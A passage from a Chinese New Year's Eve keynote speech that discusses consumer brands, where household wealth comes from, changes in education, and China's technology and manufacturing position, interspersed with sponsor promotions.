+快刀告诉我，这游戏里有的人天天用文言文给人下战书、有的人找到工作、有的人找到生意合作伙伴。因为这种人与人之间的关系，特别的真实，所以，这个手游在4年过程中持续逆生长，做到这点是挺不容易的。看出来没有，原因很简单，就是因为大家不是在玩游戏，而是在“一起”玩游戏。玩家是通过游戏，来建立自己真实的社会关系。这样的游戏当然有魅力。 + +说到这儿，我们就能试着回答一开始提出的那个问题了：中国消费市场，机会到底在哪里？ + +就是：利用中国红利和新基础设施，创造一个世界级品牌。 + +这当然是一个极其艰难的挑战。但是，我们知道，就在这几年，它一定会发生。 + +正如100年前，一个类似处境的我辈，一个世界级品牌的创造者，一个上升国家中的攀岩者亨利·福特说的那样：“我们已经取得的进步，足以使人振奋。但与未来我们将拥有的一切相比，今天的一切微不足道。” + +第四部分：钱从哪里来？ + +接下来我们发布本次跨年演讲的第三份报告，回答一个你肯定关心的问题: 钱从哪里来？ + +金融学家香帅老师和她的调研团队工作了一整年，考察了十几座城市，收集了3亿条数据，这些数据覆盖了368座城市，2900个区县，十几亿人口，写出了这本书：今天我们和中信出版社、京东商城合作，在全市场首发一本书，名字很来劲：《钱从哪里来》。 + +与此同时，根据这本书制作的课程已经在得到App上架了，这就是2019版《中国财富报告》。 + +香帅没有答应我干30年，但是答应我每年都干。 + +当然我们更要感谢支持香帅老师这个研究计划的知识合作伙伴：招商银行。招商银行App服务超过1亿用户，除了提供金融服务外，还提供生活缴费、外卖、打车等各类便民生活服务，招行App现在已经成为与用户交互与沟通的重要连接器。 + +招商银行之所以要支持这个调研项目，也是想借跨年演讲这个平台，向大家传递一个信心，中国人的财富状况其实还不错。 + +你可能会说，今年好多人投资理财都赔钱了。话分两头说，一方面只有赔钱的声音你才容易听得见，赚钱的人都闷声发大财去了；另一方面，你可能忘记了加上时间这个维度，就是要长期遵循专业的资产配置，当时间的朋友。 + +以招商银行提供的数据来说，即便是针对高风险偏好客户制定的资产配置方案，从2012年以来任意时间点买入并坚持持有3年，盈利的概率至少能达到92.3%，中间哪怕经历了资本市场的大幅波动，只要你的策略是长期主义的。你发现没有，实际的情况和那些情绪性的恐慌其实是不一样的。 + +当然，这只是存量财富的问题，我们更关心的是：钱从哪里来？也就是增量财富的问题。 + +要讨论这个问题，前提是我们必须得统一一下思想，从一个数字开始：73%。 + +这是个什么数？就是2018年，中国居民的可支配收入中，有73%，来自于劳动所得。 + +这不是中国自己的现象，即使在美国最顶级的富人当中，劳动收入也占家庭总收入的一半左右。也就是说，钱生钱，其实是少数，人挣钱，才是多数；闭着眼睛挣的钱，其实是少数，睁着眼睛要花力气挣的钱，才是多数。 + +我看完香帅老师的书之后就觉得很开心，没有人能够随随便便有钱，大家都得下地干活。这让我想起我们办公室墙上贴的一句话：力不到，不为财。这才是个人财富的基本盘。 + +你看，关于财富问题，我们面前出现了两条路。一条是73%，劳动所得；一条是27%，投资所得。你发现没有，这就有意思了，过去我们一说钱从哪来，想的都是27%的事。这其实是个小头。 + +硅谷的大神，保罗·格雷厄姆不是说过吗，有钱人往往是因为胡乱投资，把自己搞破产的。 + +2019年我们看到这样的事还少么？大过年的，咱就不举例子了，大家都明白我在说什么。民间用一句话给它总结了：凭运气赚来的钱，会凭实力亏光。 + +说到这里，关于27%怎么办？你要问我，我就劝你，反正我是把它存到我心爱的招商银行，委托给专业的人，然后就不惦记它了，少占用精力，把精力放在73%的大事上。 + +接下来，我们就专心说说73%的事。 + +有一天，香帅两口子在家里聊天，那可都是教授哦，北大的教授哦，说海归博士回国当教授，起薪一年50万，不少吧？对得起知识分子吧？但是这账一细算呢？扣掉所得税，每个月到手不到3万。 + +育儿嫂听到了，震惊地放下手中的活：“啊，文化人挣得那么少？” + +没错，现在在北京，一个育儿嫂，纯现金收入每个月至少一万。要知道，10年前，当教授的起薪是一年三四十万，阿姨们每个月拿多少呢？1000块。 + +育儿嫂这十年，工资增长得太快了。 + +香帅随后发了一个朋友圈，很有意思：我因看见了风暴而激动如大海。 + +这是她引用的里尔克的诗。那么，她到底激动个啥呢？ + +一句话，中国人的财富状态，正在发生结构性的变化。 + +这个变化最重要的部分是，人和人的连接，正在决定社会财富的创造、分配和转移。 + +这个变化背后的原因有很多。比如，中国开始进入万元美金社会。再比如，人工智能的影响，等等。有兴趣的话，可以去看香帅老师的报告。我这里不展开。 + +但是，请大家记住这个词，人和人的连接。 + +什么意思呢？说个我最近听到的事情。 + +我们得到大学郑州校区有个同学叫岳海龙。他是做物流公司的。做物流公司要铺网点嘛，需要选择大量的加盟商，怎么选呢？是看他的本事吗？学历吗？投资吗？经验吗？都不是。他做这行有个窍门叫：三个当家人，一门穷亲戚。 + +三个当家人啥意思？你不是光棍一个，而是还能再团结来两个人，甭管是小舅子还是媳妇和你一起合伙干，这说明了你人际能力的连接性。 + +而一门穷亲戚，其实是他们在考察一个人人际能力的可扩展性，就意味着，这个业务到了最忙最苦的时候，你从市场上完全抓不到人的时候，你总有一个信得过的人，替你冲上去。 + +这个例子说明什么呢？说明每一个人的财富状况，不仅取决于自己的能力，还取决于自己有什么样的人际连接能力。 + +刘润老师告诉我，一个人的财富基本盘，有两个组成部分： + +第一，你自己的本事，第二，你和其他人连接的本事。而后者是前者的放大器。 + +带着这个视角，再来打量中国人的财富版图，你会发现，有些职业正在起变化。 + +比如说房产中介，中国有100多万从业人员。过去的理解，这是一个把人和房连接起来的职业。但是，现在已经不是这样了。他更重要的任务是要连接人和人。 + +我认识的一位资深房产中介老师徐东华告诉我：现在大多数人买房，都是改善性住房，说白了，就是先卖一套，再买一套。你知道这个过程有多复杂？ + +第一，买主卖主都没那么着急，一套房成交的时间大大延长。在18个典型城市里，过去三年，一个客户从他第一次看房，到他定房的成交时间从26天拉长到了39天；而卖主把房子从挂出去到成交的时间，从62天拉长到了109天。 + +第二，在中介公司内部，也需要多人协作，才能成交一套房。比如北京这样的城市，一笔成交背后平均有8个经纪人协同参与。 + +你看，过去一套房成交时间短，靠一点销售套路是有可能赚到这笔中介费的，但是，现在时间一拉长，这样的套路行不通了，你不跟客户真正彼此信任，还真就赚不到这笔钱。 + +这么一来，一个人现在再要去干房产中介这一行，对能力的要求就非常高了。他至少得是一个能够取得客户长期信任的高手，不光是客户要信任他，其他经纪人也要信任他才会愿意和他合作。你看，他还得是一个，内部协同的高手。 + +所以，未来，谁能在房产中介这一行中成为高手，不是长得帅的，也不是套路多的，而是更善于和内外各种人发生连接的。如果他做经纪人的时间长，那么他职业前景的想象空间可就大了去了。 + +所以我知道这个故事之后，下次再在哪个路口看到一个穿成这样的人，我提醒自己：放尊重点。 + +再给大家介绍一个老职业的新变化。如果你身边有一个朋友，和你说他去做保险了。无论你嘴上说啥，你心里想啥，我还不知道么？ + +但是你知道吗？现在有不少这样的例子，在其他行业做得非常好的人，改行干保险。比如外企的、银行的、广告公司的、媒体的，甚至还有医生。我们得到App的李璞老师说，过去大家的一贯印象，转干保险的基本上就两种情况：要么走投无路，要么身怀绝技。这两年，身怀绝技的人，改行干保险的，越来越多了。那为什么要改呢？ + +改行的理由当然很多，每个人都不一样。但是深入了解之后，我才知道这一行对人的要求也在不断发生变化。 + +说个我的亲身体会，今年，我也买了一份保险，就在我要提笔签字的那个瞬间，对面的保险客户经理突然笑眯眯地跟我说了一句话：罗老师，你想好再签字哦。你签了字，我可要服务你20年咯。 + +注意，是整整20年啊。在这20年里，我出险了他得帮我报案，我身体要有点情况他得帮我联系医院，看完病拿着我的各种证明、清单、发票、分割单，去理赔报销。 + +说白了，他得跟我保持20年的紧密联系。对一个成熟的保险经纪来说，他要在几十年的时间里，同时跟很多人保持紧密联系。你想想看，他要是没有强大的跟人连接的能力，他是完不成这件事情的。 + +当然，要求高，也意味着回报高。你可能知道，现在做得好的保险经纪，年薪百万不是问题，而且时间还自由。但是，你可能未必知道，保险这个工作，是可以传代，可以继承的。 + +你就想，等他退休那天，把30岁的闺女带到我面前，介绍说：这是我孩子，相应资格都有，请让她继续为罗叔叔服务。你说这是不是就继承了？他这辈子的奋斗是不是就可以在代际之间传递？ + +你想，现在有几个职业可以指定自己的继承人？至少跨年演讲肯定不行。为什么保险这个行业可以继承？因为它处理的其实是一组信任关系。 + +本领可能会过时，资本可能会贬值，但是，人和人之间的连接是可以一直延续下去的。 + +当然，房产中介、保险经纪人，这些职业本身就是人与人之间的连接器，所以他们的财富能力，挣钱能力会提高。那你要说我这个职业不是这样的呢？难道我要改行么？当然不是。不管什么职业，在所有的选择关头，多和人连接，保证没坏处。 + +一个厨师，是只会埋头在后厨做饭，还是做了一道得意的菜之后，跑到前厅看看食客的反应，甚至聊几句。后者更可能成长为一个名厨。 + +一个程序员，是只会埋头敲代码，还是会主动加个用户的微信，聊聊使用体验？后者更有可能成长为CTO。 + +一个搞科研的，是只在实验室里守着设备做实验，还是愿意跟其他学科的人多交流交流？后者更可能获得科学突破。 + +这个趋势不仅体现在职业上，也体现在性别上。 + +最近我们公司CEO脱不花，给我们公司的小姑娘开了个会，说不要辜负这个时代给女性的机会。 + +脱不花也是有感而发，因为她最近这几年经常被徐小平老师表扬。表扬的方式是，每当有人找徐小平老师融资，徐小平都会问：你的“脱不花”在哪里？ + +徐老师其实是在问：你的班子当中有女性吗？这一点在国际上其实已经是一个共识。作为一个男性我不得不服。因为男性是个目标动物，当一个事目标清晰、路径明确的时候，男性很擅长。 + +而女性更擅长协调关系，当这个世界上出现了大量需要跨界整合、柔性沟通的事情，一个班子如果男女搭配，更能从容应对。 + +这个变化会给多少女性带来新的机会。过去常说的那块针对女性的玻璃天花板，有可能就此打破。你看，因为更擅长人与人的连接，未来女性的财富能力就会显著上升。 + +你问我，钱从哪里来？香帅的研究告诉我们，钱从自己的劳动里来，钱从更多的人和人的连接中来。 + +我们要特别澄清一个可能的误解，连接人和人的能力成为财富杠杆，这可不是花言巧语搞关系，而是通过连接人，提高为这个社会创造价值的能力。 + +今年，我在汪丁丁老师的一本书《思想史基本问题》里，看到一段话。 + +他说，一个人花5分钟就能想清自己生活的意义。5分钟能干嘛？汪丁丁说，就是问自己5个问题，并诚实作答。 + +这真是5个神奇的问题，你每能回答一个，就会发现自己和这个世界的连接深了一层。与此同时，每能回答一个问题，你也分明地意识到，有大量的人，他们的连接能力被你甩在了身后。 + +我们来看一下这张问题的清单—— + +你是谁？这个问题绝大多数人都能回答。 + +再深一层，你能干啥？有的人就回答不了。和世界能够深度连接的人，才有答案。 + +再深一层，你为谁干的？很多人没有考虑过这个问题。而对这个问题有深思熟虑答案的人，一定是行业的佼佼者。 + +再来，第四个问题，别人需要你为他干吗？能回答这个问题的人，少之又少。一旦回答得出，他就一定做成了一番事业。 + +但是，很多事业有成的人仍然被第5个问题难住了。这事你干了，也有人需要，但是，这些需要的人因此而被改善了吗？整个社会因此变得更好了吗？ + +这五个问题你答得越清楚，你的财富能力就越强。 + +第五部分：教育在发生什么变化？ + +接下来，我为你带来今天的第四份报告《全球教育报告》，来自教育专家沈祖芸老师。 + +感谢这份报告的知识合作伙伴金典有机奶。 + +金典支持教育的研究，是因为他们觉得，自己的事业，和教育事业，有一点是相通的：就是做一件超长周期的事。他们今年的品牌主张是，“敢于真实”。 + +什么叫“敢于真实”？金典十三年来坚持做天然无污染的有机奶制品，将奶的蛋白含量从3.6g提升到3.8g。你可千万别小看这0.2g的进步，它的背后，是研发人员对细节的无尽追求。比如说种植牧草的土壤要经过3年净化，为了保护牧草质量，还要连续十年控制牛的产量。他们建立起了从奶源、牧场、工艺到产品的全产业链能力。在漫长的过程中，必须敢于真实、直面挑战、长期坚持。 + +提起教育两个字，摸着良心说，你什么感受？我的感受是，这个话题成了全民焦点。 + +来看一个数据。新榜的徐达内给我看了一张表。2019年1月1日到12月30日，在微信公众号，同时有“教育”和“焦虑”两个关键词的文章里，有3470篇，阅读超过了10万+，平均每天将近10篇。“家长”、“父母”和“焦虑”连在一起的10万+，有6751篇，每天18篇。我们这代父母确实很焦虑。 + +假如陌生人见面没得聊，那就聊聊教育，准没错。立马让你有一种，在医院里遇到病友的感觉。 + +我今年听说了一个段子：两个北京海淀的家长聊天，一个问另外一个：我们家孩子4岁，1500个英文词汇量够不够？另一个回答：在美国够了，在海淀不够。 + +我还听到过这么一件事：为了让孩子能上好学校，一波家长，用尽各种办法，偷偷摸摸地给孩子报补习班，当然，补习班这事，学校是不提倡的。那没上补习班的家长呢？也没闲着。听说这件事之后，偷偷摸摸举报了这些补习班。 + +我们家闺女3岁了，听到这事我也很焦虑啊。这个焦虑不是我卖给你的吧？是我送给你的。 + +那么，这个焦虑到底是怎么产生的呢？早几十年没这样啊。有很多种解释：有人说社会竞争越来越激烈，没有名校的毕业证，社会的好多门你都敲不开；有人说是因为经济发展了、教育工具多了，军备竞赛当然就升级了；也有人说人工智能要替代人类，把这一代家长吓着了。 + +但是，我听到的最开脑洞的一个解释是，因为当年那些高考的受益者，被高考、被大学教育改变命运的一代人，也开始养育孩子，冲进了教育市场。 + +他们最相信教育改变命运这条道理，因此把所有的资源都投入到了这条赛道，让下一代重复这个过程。这就像玩游戏，突然有一批付费玩家集体上线，竞争怎么可能不激烈。 + +我还不能劝你别焦虑，哈佛前校长，德里克·博克不是说过吗：假如你觉得教育的成本太高，试试看无知的代价。 + +教育这个焦虑是解决不了的，但是它会变换一种样式。 + +坦率地说，人为了自己成长而感到焦虑，可能永远没有解药。人类文明本来也依托于此。但是，你有没有想过，焦虑会变换成别的样子。 + +沈祖芸老师的这份报告，价值就在于此。她在过去的一年内访谈了100多位教育工作者，考察了全球25所中小学校、12所世界名校，她发现，全世界的教育工作者，都在焦虑一个问题：工业时代形成的教育模式，已经跟不上信息时代的需求。 + +这份报告里有一句话非常重要，即使你不是搞教育行业或者没有孩子，也值得你细品。这句话就是：现在的世界已经不是按照领域来划分的，而是围绕挑战来组织的。 + +你就想一想，今天你在工作和生活中遇到的哪一件事，不是一个综合挑战？别说做一个新产品、组织一场大活动，为你娃找个好幼儿园，给家里的房子装修，对你来说，哪个不是挑战？哪个挑战跟以往是相同的？哪个挑战是只用学校里学到的知识能应对的？ + +就拿今天这场跨年演讲来说。它的总指挥是这个女孩，正好30岁，同事都管她叫诺诺。 + +她大学学的专业是中文。从毕业的第一年，就进了我们公司，就开始当跨年演讲的总指挥。那她干的是个什么活呢？ + +你看这些活，她一个都没学过。但是哪个活出问题，都得找她。你说她干的是个什么活呢？凑了半天，她这么说：我干的是跨组织的“翻译”和整合。 + +你要问我在大学里学啥专业能干这个工作？我真不知道。但是我知道的是，大学里肯定不可能这么教，因为变化太快了。 + +为了应对这个变化，有一些学校已经在往前探索了。 + +沈祖芸老师在过去一年，走访了很多学校，让我们看看有哪些探索正在发生。你会发现，很多学校已经从题目入手，来重新组织课程体系。比如咱来看一道小学里的考试题。 + +请大家看大屏幕上这道题，问的是—— + +如果你想增加一个节日，增加哪个节日，理由是什么？如果你想减少一个节日，减少哪个节日，理由是什么？ + +你看，这都不是考你任何领域的知识，这是给你一个真实世界的挑战，看你如何应对它。 + +再给你看一道中学语文题，这是我去参观北京一所名校的时候，随便走进一个教室，正好赶上学生们在学《史记》。怎么学呢？背司马迁的生卒年份，还是朗读精彩节选？都不是，他们的任务是：给任意一个《史记》里的人物写一份求职简历。 + +你看，这还是一个真实世界的挑战，它牵扯的知识有哪些呢？ + +你看，要想给刘邦写简历，首先，你得对刘邦的生平背景足够了解，有哪些工作经历，擅长做什么，有哪些社会上方方面面的人脉资源。 + +其次，你得了解他应聘的那份工作吧。比如说你要让刘邦应聘金典牛奶在上海市场的销售总监，你得知道这个工作需要什么能力吧。 + +更重要的是，你还得有本事穿越到刘邦的内心，站在他的立场上，帮他通过这份求职表，完成一次自我推销。 + +你看，这就叫世界不是按照领域来划分的，而是围绕挑战来组织的。 + +你发现没有，当你还以为学校只是给学生灌输知识的时候，学校已经开始了自我进化。从教学阶段开始，让课程对接真实世界的挑战。 + +这位都认识，前央视著名主持人，现在「少年得到」董事长张泉灵。她现在就把这些最优秀的学校的教学经验和方法，开发成一套线上课程，孩子从小学一年级开始，就可以接受这样的训练。这套课叫做《泉灵的语文课》。试验下来，发现效果很神奇。一般小学是到三年级才开作文课，但是在这样的系统训练后，小学一年级的孩子就可以口述一篇小作文。 + +这套《泉灵的语文课》，现在已经在「少年得到」上线，感兴趣可以去看看。 + +十一学校联盟的总校长李希贵跟我们说，课程这个概念本身都在发生转变。课程是什么？不是知识的注射器，而是要把社会上的那些挑战，孩子们将来会遇到的那些问题，打包浓缩，变成课程，让学生们提前体验，提前触发孩子们的禀赋。 + +这话一般人听不懂。李校长是山东人，他就拿一个山东人的事给我举了个例子： + +我们都知道，一说起喝酒这件事，山东人名声在外。那这是因为山东人特别能喝么？肯定不是啊。中国人嘛，基因都差不多。李校长说，关键在于山东人有一套方法，能把一个人喝酒的边界给测试出来。请注意，不是强灌咯，是一套方法哦。 + +山东人喝酒的第一步，并不是让你喝酒，只是让你意思一下，端起来。你看，你不好意思不端吧？只要一端，这就好办了。稍不留神就喝了一杯。喝完一杯之后，第二杯第三杯可不就来了么？ + +我再举一个例子，山东人喝酒都要上一盘花生米。这就是一个测试，只要你还能夹得起花生米，你就还没有喝到位。 + +你以为我在和你说喝酒么？李希贵校长说，如果你不知道什么是课程，就想想这个段子。山东人的酒局，就是个课程。它不是为了教你喝酒，而是为了把你喝酒的禀赋给测试激发出来。 + +比如说吧，上海朋友普遍在喝酒上比较保守，其实不是你没这个能力，而是上海本地不开这个课程，没把你的能力激发出来。你去山东试试，没准你也挺能喝的。喝什么？别忘了我们的知识合作伙伴，百年泸州老窖窖龄酒。 + +按照这个逻辑，四川人能吃辣，上海人擅长垃圾分类都不是天生的，也是因为“课程”设置得好。 + +这当然是李校长跟我讲的玩笑。但是十一学校的课程，你换了这个角度，就更容易看得懂。 + +比如十一学校的戏剧课，一般人一听这个学校开戏剧课，就觉得这个学校条件真好，能学艺术。但在十一学校，戏剧课的作用其实不仅仅是这一点。 + +他们的戏剧课不分班，而是跨年级打通的。学生参加戏剧课，可不是化好妆上台演个角色那么简单。演员只是其中一种工种。要让一出戏剧能够上演，得有导演吧？得有编剧吧？得有副导演在全校找演员把？得有做服装的吧？得有管剧务的吧？甚至还得有管舞台灯光舞美的吧？戏排完了要上演，还得有管卖票、拉赞助、做海报的吧？这些工种，都是戏剧课的一部分。每个学生都可以根据自己的想法，选择各自的工种。 + +就这样，在排演一台戏剧的过程中，学生们可以感受到艺术的魅力，可以锻炼组织协作能力，更有机会，发现自己的禀赋。前几年就出过这么一个学生，他去上戏剧课，结果发现了自己给舞台灯光编程的天分，后来就真的成为了一个工程师。 + +教育这个词的范畴在今天已经变了。因为教育本来的意思，就不是教材、不是课堂，而是人点亮人。 + +这件事在教育界，其实已经是一个共识了。中学是这样，大学也是这样。 + +我们的跨年演讲，一直是和深圳卫视合作的。他们有一个理念：有志者，跟我来。所以他们一直特别关注，各个领域的有志者。 + +今年他们跟我讲了，深圳大学是怎么从录取通知书开始，就致力于把点亮自己的学生，作为教育目标。每一年深圳大学的录取通知书，都是一个引爆社交媒体的网红现象。来看一下。 + +这和我们印象中的大学录取通知书很不一样吧？我特别喜欢这个设计，学生收到了一个里面装着丰富内容的录取盒子。比如有一年盒子里装了件t恤衫，学生在报到那天穿上，就能一眼被学长们认出来，获得学长的帮助和欢迎。还有VR眼镜，戴上之后，可以提前看学校的各种风景。 + +这已经很棒了。但是当学生把里面的东西一件件地都拿出来，他会发现在这个盒子的底部，印着这么一句话：清空了，才能装下更大的梦想。你要是今年的新生，你会不会觉得自己马上要去的这所学校很酷。你对大学生活是不是就多了一份神往？因为你知道你的学校，已经在未来的四年大学生活里，为你点好了灯。 + +多年之后一位深大毕业生，回顾他的大学生活时，也许这份通知书的分量，要超过很多课程。 + +还是那句话：课程的本质是激发禀赋，教育的本质是人点亮人。 + +如果我们从这个角度来理解教育，那教育就是一个无所不在的东西。除了学校教育，还有家庭教育、社会教育和自我教育。 + +我给大家讲一个我们用户的故事。他是一名警官，姓杨，在一座大规模的重刑犯所在的监狱里工作。 + +杨警官发现，服刑人员如果想要顺利地重返社会，必须做好充分的心理建设和能力准备。他是怎么做的呢？作为一名警察，虽然能力有限，但他想到了一个办法，他把在得到上学到的那些不错的课程，一份一份进行编辑、打印出来、形成讲义，供服刑人员借阅学习。通过这样的学习，他们具体学到了多少知识我不知道，但是有一个信号他们是清晰地接受到了，那就是这个世界上，有人在希望他们变得越来越好，能够顺利地重返社会。 + +你看，这就是人点亮人的时刻。 + +前不久，一个刚刚出狱的人给杨警官发来了微信，说如果不是你让我在“得到”上学了两年东西，我不会那么有平常心地回归社会。他说：“我特别感谢在监狱里，你让我学习了心理学。在出狱以后，我每天告诉我自己：如果这个社会接纳我，我就努力来回报它的接纳；如果这个社会不接纳我，我就更加努力地让社会接纳我。” + +我们「得到」一直在说做教育，直到听到这个故事的那一刻，我才真觉得我们是在做教育的。教育不见得是我们教给别人什么，而是我们有机会点亮他。 + +最近，我问过我身边的很多人，假设你身边有一个社区大学，你愿不愿意花时间把自己的知识变成知识产品，分享给别人？比如给写字楼里其他公司的人讲讲怎么做ppt，给小区里的老人讲讲怎么使用智能手机，给邻居家的孩子读读绘本。几乎无一例外，所有人听到我这个问题，眼里都放光。 + +连我老婆我也没放过，一问，她的眼睛一样放光，这不正在家练呢。 + +我说假如咱们住的小区开设了社区大学，让你每个月抽出点时间，给小区里的老人讲讲怎么用智能手机，怎么做蛋糕，或者给社区里的小孩读读绘本，可能有点补贴，讲一次课一两百块钱，你愿不愿意？ + +她一口就答应了。结婚十年了，我很少看到她眼睛这么放光，对一件事那么向往。 + +我们扪心自问，我们每个人的心里是不是都有这样的渴望？假如有一个社区大学就在你门口，你是不是愿意把自己的知识无私地分享给别人？你是否愿意投入自己的时间，分享一点自己的知识，点亮别人？你也有这样的冲动吧？来，我们现场调查一下。 + +如果你愿意做这件事，来，拿出你的手机，打开你手机上的手电筒，告诉所有人，你愿意做一盏灯。 + +请让我们看看全场，看看有多少人愿意当一盏灯。 + +你看，这个时代的灯，远比你想象得多。 + +感谢你们，都愿意为别人点一盏灯。我也愿意。 + +借今天这个机会，我们发布一个小计划——2020年「得到」老师和得到大学同学，盘了盘家底，计划将向全社会捐赠4155个小时公益讲座时间。 + +而且未来我们希望能够通过我们的努力，把这个时长扩展到1万、10万，乃至更多。这就是我们已经准备好的讲座课题，和时间捐赠者们。 + +从这一刻开始，全国的学校、图书馆、企业、社区，只要你想接过他们的灯，都可以进入得到App，申请获得他们的时间。今天他们中的绝大多数人，都在现场，我代表未来这些讲座的所有听众，向他们表示感谢。 + +前面几年跨年演讲，我都拜托现场的朋友帮我们一个忙，夸我们是中国最好的知识服务商。但是今年我们想清楚了自己的使命。我们是什么并不重要，重要的是这个社会是否因为我们做的事情而变得更好。 + +所以今年，同样是拜托大家，帮我们发布一个新愿景，就是这一句：得到App，让知识成为每个人的力量。 + +如果你也认同的话，拜托在转发的时候加上这四个字：得到加油。 + +谢谢大家。 + +有一个朋友，给我讲了这样一个场景：她曾经在徒步时，路过一个非常边远的村庄，走进乡村学校的教室，教室里面只有为数不多的桌椅和黑板，墙上的标语没有我们小时候常见的那些标语，而是一句诗：走了那么远，我们去寻找一盏灯。 + +第六部分：中国科技创新下一步？ + +时间已经到了11点，距离21世纪第三个十年，还剩1个小时了。接下来，我要谈两个特别重大的问题：中国创新会被美国卡脖子吗？中国制造会被替代吗？ + +这两个问题太重要了，让我先干另外一件重要的事平复下心情，先热热身： + +感谢今年跨年演讲的6位知识合作伙伴：vivo、招商银行、金典有机奶、高端国际家电品牌卡萨帝、百年泸州老窖窖龄酒、简一大理石瓷砖。 + +除了以上6位知识合作伙伴以外，还要特别感谢支持我们的其他几位伙伴。 + +首先，感谢中国领先的社区媒体流量平台，新潮传媒。如果你住的社区有电梯，应该对他们很熟悉。他们在全国100座城市，拥有60多万块电梯屏，覆盖超过2亿户家庭。新潮传媒研发的“生活圈智投”广告平台，利用“标签筛选、在线监播、效果归因”的优势，重新定义了电梯媒体的价值。他们说了一个数字，在中国排名前100的品牌中，有71家选择了在新潮传媒做投放。感谢新潮传媒对我们的支持。 + +接下来，再向大家介绍一位新朋友，它也是名副其实的“时间的朋友”——胡姬花古法小榨花生油。胡姬花的朋友告诉我，他们宁可损失一些榨油效率，也一定要采用传承百年的古法榨油工艺，只为让消费者吃到的花生油比起其他的油香那么一点儿。这样的朋友，你不支持一下吗？ + +今年我们迎来了一位熟悉的新朋友，它就是肯德基。还记得我去年说过的一句话嘛：“运气也是实力的一种”。新年之际，肯德基给大家准备了“新年欢庆桶”，与“时间的朋友”一起，让大家用知识开运，喜提新年第一金。这两天我们和肯德基合作的主题门店也上线了！在店里不仅能品尝肯德基美食，还有我们为大家挑选的诸多好书！明天大家如果有时间，可以去肯德基门店里感受一下。 + +积家，是我们连续四年合作伙伴，真心感谢。他们今年又给我们送来了惊喜。 + +积家再次为我们用户定制了“时间的朋友”联名款礼盒。今年我特别邀请六份报告的主理老师们，为大家亲笔书写了祝福卡片，随机放在礼盒里，全球只有20份。现在登录得到App就可以一键下单购买。 + +感谢这些品牌，你们真有眼光。 + +好，我们来正式发布今天的第五份报告，来自王煜全老师的《创新生态报告》，王老师分析和筛选了上百家优秀科技企业，跑了10个城市和12家以上的开发区，形成了这份报告。 + +我们还要特别感谢这部分的知识合作伙伴：vivo NEX3 5G旗舰手机。 + +基于这份报告推出的最新著作《中国优势》由中信出版社出版，已经在天猫上线。 + +这份报告回答了一个我们都极其关心的问题：中国创新如果被美国卡住脖子，我们该怎么办？ + +2019年华为这家公司的处境，已经把这样的危险，实实在在地摆在了中国人的面前。原来可以用的，不让用了，原来卖给你的，现在不卖了。 + +别的不用说，光是Google Play不让用，就让华为手机可能丢掉整个海外市场。那是个多大的盘子啊。华为光是2018年营收就有7200亿人民币。华为还有19万员工、10万名工程师、1万名博士，这样的企业居然都可能面临这样的威胁，这对中国人的情感震撼太大了。 + +打个不恰当的比方，就相当于当年唐僧师徒四人，历经千辛万苦，来到大雷音寺，突然里面传出话来：我们这出口管制，走开，不给。这不就尴尬了吗？ + +但是你发现没有，我们这个想象是有bug的。在《西游记》里面，表面上赞美的是取经者，但实际上把写经人高高地顶在了头上，真经是怎么写出来的不知道。好像这是神仙才会干的事。 + +但真实世界里的创新是这样吗？ + +我们来举个例子，2019年最热的一个技术词汇，是5G。懂或不懂，你都听说过这个词。我们普通人往往会把5G想象成“一个技术”。注意，是一“个”技术。 + +是这样么？不是啊朋友们，5G不是一“个”技术，它是一组庞大的技术网络和生态群落，这个技术网络长什么样呢？ + +如果我们要给5G写个小传的话，找来找去，公认的大神级人物也就只找到这么一位：土耳其数学家埃尔多尔·艾力坎。 + +然后呢？然后就没法写了。 + +因为它迅速地变成了，全世界数学家、科学家、工程师、通讯公司、手机厂商、互联网公司在同一时间、不同空间里，各自推进的过程。这是一个“分开走，一起打”的大会战，如果其中有人非说自己是总司令，那也太自大了。 + +你说这个技术网络是谁的？这个问题就像你问：数学是哪个数学家的？唐诗是哪个诗人的？谁的都不是，大家一起掺和着干出来的。 + +根据《华尔街日报》公布的数字，我们至少能知道两个事实： + +第一，中国公司拥有36%的5G标准必要专利； + +第二，中国公司的这个数字，比4G时代翻了一倍。 + +你看，在技术世界，中国公司不仅有存在感，存在感还在增加。 + +所以你看，真实的《西游记》故事也许是这样的，大雷音寺没有现成的真经，是来自东土大唐的师徒四人加入了“大雷音寺杯”编程大赛，一起参与了一场旷日持久的共同编程，然后成果共享了而已。要注意，这一场还是“大雷音寺杯”，如果爆发一次技术革命，来一场弯道超车，下一场没准就是“花果山杯”了，我们也欢迎他们来。 + +这样的事情，不仅在5G，在很多领域都在发生。 + +比如新能源汽车领域，中国比亚迪和日本丰田将在中国成立合资的纯电动车研发公司。有意思的是，在这个合作中，丰田看中的是比亚迪的研发能力，比亚迪看中的是丰田的品质和安全能力。 + +比如在药品研发领域，中国的药明康德已经成为全世界最大的新药研发服务平台，全世界前20名的制药企业，都在它这个平台上研发新药。 + +比如在无人机领域，在全球消费电子展上，已经能够看到，大多数参展的无人机厂商，甭管是哪个国家来的，展台上都印着DJI（大疆）的logo，甚至连大疆的对手都是这样的。为什么？因为无论是它们的软件还是硬件都是由中国深圳的大疆公司提供的，外国公司更侧重应用的开发。 + +所以你看，很多高精尖领域的技术，已经不是中国单方面向上取经，而是变成中国与世界共同编程。 + +说到这，你可能又会提出一个问题：中国虽然已经参与到了一些全球性技术的研发中，但是，有一个词，叫“中美脱钩”。很多美国政客都在喊这个词，甚至一些美国的政客，提出了一个词，叫做“ABC”，意思就是Anywhere But China——除了中国，哪都行。我们创新研发不带你玩了。 + +这才是我们最深的担忧。 + +在他们看来，美国是创新的上游，是大脑，他们有能力给身体下个命令：我要求你换个样子。 + +作为一个资深胖子，我对这事太有发言权了。我的大脑每年都给我的身体下命令：减肥，你给我减肥。大脑肯定觉得，这还不简单，不就是“管住嘴，迈开腿”吗？结果你懂的，时间已经过去了15年，“罗胖”这个IP还在。 + +你看，大脑说不要，身体很诚实。 + +回到科技创新这件事上。站在美国的角度看，大脑说，要摆脱对中国制造的依赖。他们有他们的想法，但是我们知道这很难。因为中国制造还是有很大优势的。 + +第一张牌是规模。 + +比如说，美国好多政客都在给苹果公司施加压力，要求它把生产工厂搬离中国。 + +到目前为止，苹果一直没有做这件事，为什么？ + +因为销量最好的时候，苹果需要外包工厂的峰值产量达到每天100万部，这大约需要75万名熟练工人。这个配套能力，到目前为止只有中国有，只有中国能整合起来。 + +中国制造手里的另一张牌是速度。 + +最近我看到有人分享自己的经历，一个北方大城市的制造企业，紧急需要一个模具，结果是东莞一家公司接活了。 + 